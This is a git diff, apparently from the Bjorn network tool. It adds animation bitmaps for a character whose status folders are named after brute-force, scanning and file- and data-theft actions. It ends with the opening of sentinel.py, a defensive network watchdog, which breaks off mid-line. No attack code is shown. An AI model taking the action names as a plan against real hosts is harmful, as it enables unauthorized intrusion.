index 0000000..cc9a018 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE34.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE35.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE35.bmp new file mode 100644 index 0000000..6ac2bd2 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE35.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE4.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE4.bmp new file mode 100644 index 0000000..cd63e92 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE4.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE5.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE5.bmp new file mode 100644 index 0000000..4b31159 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE5.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE6.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE6.bmp new file mode 100644 index 0000000..3de5e71 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE6.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE7.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE7.bmp new file mode 100644 index 0000000..009a51a Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE7.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE8.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE8.bmp new file mode 100644 index 0000000..c913142 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE8.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE9.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE9.bmp new file mode 100644 index 0000000..80ea334 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE9.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner.bmp new file mode 100644 index 0000000..45a466f Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner1.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner1.bmp new file mode 100644 index 0000000..939dc2e Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner2.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner2.bmp new file mode 100644 index 0000000..1bed73c Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner2.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner3.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner3.bmp new file mode 100644 index 0000000..35cc8c5 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner3.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner4.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner4.bmp new file mode 100644 index 0000000..2883594 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner4.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner5.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner5.bmp new file mode 100644 index 0000000..2bd1847 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner5.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner6.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner6.bmp new file mode 100644 index 0000000..643b052 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner6.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner7.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner7.bmp new file mode 100644 index 0000000..2742da4 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner7.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner8.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner8.bmp new file mode 100644 index 0000000..eaa2472 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner8.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner.bmp new file mode 100644 index 0000000..dadf656 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner1.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner1.bmp new file mode 100644 index 0000000..939dc2e Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner2.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner2.bmp new file mode 100644 index 0000000..1bed73c Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner2.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner3.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner3.bmp new file mode 100644 index 0000000..35cc8c5 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner3.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner4.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner4.bmp new file mode 100644 index 0000000..2883594 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner4.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner5.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner5.bmp new file mode 100644 index 0000000..2bd1847 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner5.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner6.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner6.bmp new file mode 100644 index 0000000..643b052 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner6.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner7.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner7.bmp new file mode 100644 index 0000000..2742da4 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner7.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner8.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner8.bmp new file mode 100644 index 0000000..eaa2472 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner8.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce.bmp new file mode 100644 index 0000000..f8a5393 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce10.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce10.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce10.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce11.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce11.bmp new file mode 100644 index 0000000..9616013 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce11.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce12.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce12.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce12.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce13.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce13.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce13.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce2.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce2.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce2.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce3.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce3.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce3.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce4.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce4.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce4.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce5.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce5.bmp new file mode 100644 index 0000000..68fe849 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce5.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce6.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce6.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce6.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce7.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce7.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce7.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce8.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce8.bmp new file mode 100644 index 0000000..353d54a Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce8.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce9.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce9.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce9.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce.bmp new file mode 100644 index 0000000..9db4d23 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce.bmp new file mode 100644 index 0000000..f7c8c88 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce10.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce10.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce10.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce11.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce11.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce11.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce12.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce12.bmp new file mode 100644 index 0000000..353d54a Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce12.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce13.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce13.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce13.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce2.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce2.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce2.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce3.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce3.bmp new file mode 100644 index 0000000..9616013 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce3.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce4.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce4.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce4.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce5.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce5.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce5.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce6.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce6.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce6.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce7.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce7.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce7.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce8.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce8.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce8.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce9.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce9.bmp new file mode 100644 index 0000000..68fe849 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce9.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL.bmp new file mode 100644 index 0000000..1c81cf6 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL1.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL10.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL10.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL10.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL2.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL2.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL2.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL3.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL3.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL3.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL4.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL4.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL4.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL5.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL5.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL5.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL6.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL6.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL6.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL7.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL7.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL7.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL8.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL8.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL8.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL9.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL9.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL9.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP1.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB1.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH1.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH10.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH10.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH10.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH11.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH11.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH11.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH12.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH12.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH12.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH13.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH13.bmp new file mode 100644 index 0000000..68fe849 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH13.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH2.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH2.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH2.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH3.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH3.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH3.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH4.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH4.bmp new file mode 100644 index 0000000..353d54a Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH4.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH5.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH5.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH5.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH6.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH6.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH6.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH7.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH7.bmp new file mode 100644 index 0000000..9616013 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH7.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH8.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH8.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH8.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH9.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH9.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH9.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet1.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce.bmp new file mode 100644 index 0000000..ac1d6dc Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce1.bmp differ diff --git a/sentinel.py b/sentinel.py new file mode 100644 index 0000000..54ce611 --- /dev/null +++ b/sentinel.py @@ -0,0 +1,593 @@ +""" +Sentinel — Bjorn Network Watchdog Engine. + +Lightweight background thread that monitors network state changes +and fires configurable alerts via rules. Resource-friendly: yields +to the orchestrator when actions are running. + +Detection modules: + - new_device: Never-seen MAC appears on the network + - device_join: Known device comes back online (alive 0→1) + - device_leave: Known device goes offline (alive 1→0) + - arp_spoof: Same IP claimed by multiple MACs (ARP cache conflict) + - port_change: Host ports changed since last snapshot + - service_change: New service detected on known host + - rogue_dhcp: Multiple DHCP servers on the network + - dns_anomaly: DNS response pointing to unexpected IP + - mac_flood: Sudden burst of new MACs (possible MAC flooding attack) +""" + +import json +import logging +import subprocess +import threading +import time +from datetime import datetime, timedelta +from typing import Any, Dict, List, Optional, Set + +from logger import Logger + +logger = Logger(name="sentinel", level=logging.DEBUG) + +# Severity levels +SEV_INFO = "info" +SEV_WARNING = "warning" +SEV_CRITICAL = "critical" + + +class SentinelEngine: + """ + Main Sentinel watchdog. Runs a scan loop on a configurable interval. + All checks read from the existing Bjorn DB — zero extra network traffic. + """ + + def __init__(self, shared_data): + self.shared_data = shared_data + self.db = shared_data.db + self._thread: Optional[threading.Thread] = None + self._stop_event = threading.Event() + self._running = False + + # In-memory state for diff-based detection + self._known_macs: Set[str] = set() # MACs we've ever seen + self._alive_macs: Set[str] = set() # Currently alive MACs + self._port_snapshot: Dict[str, str] = {} # mac → 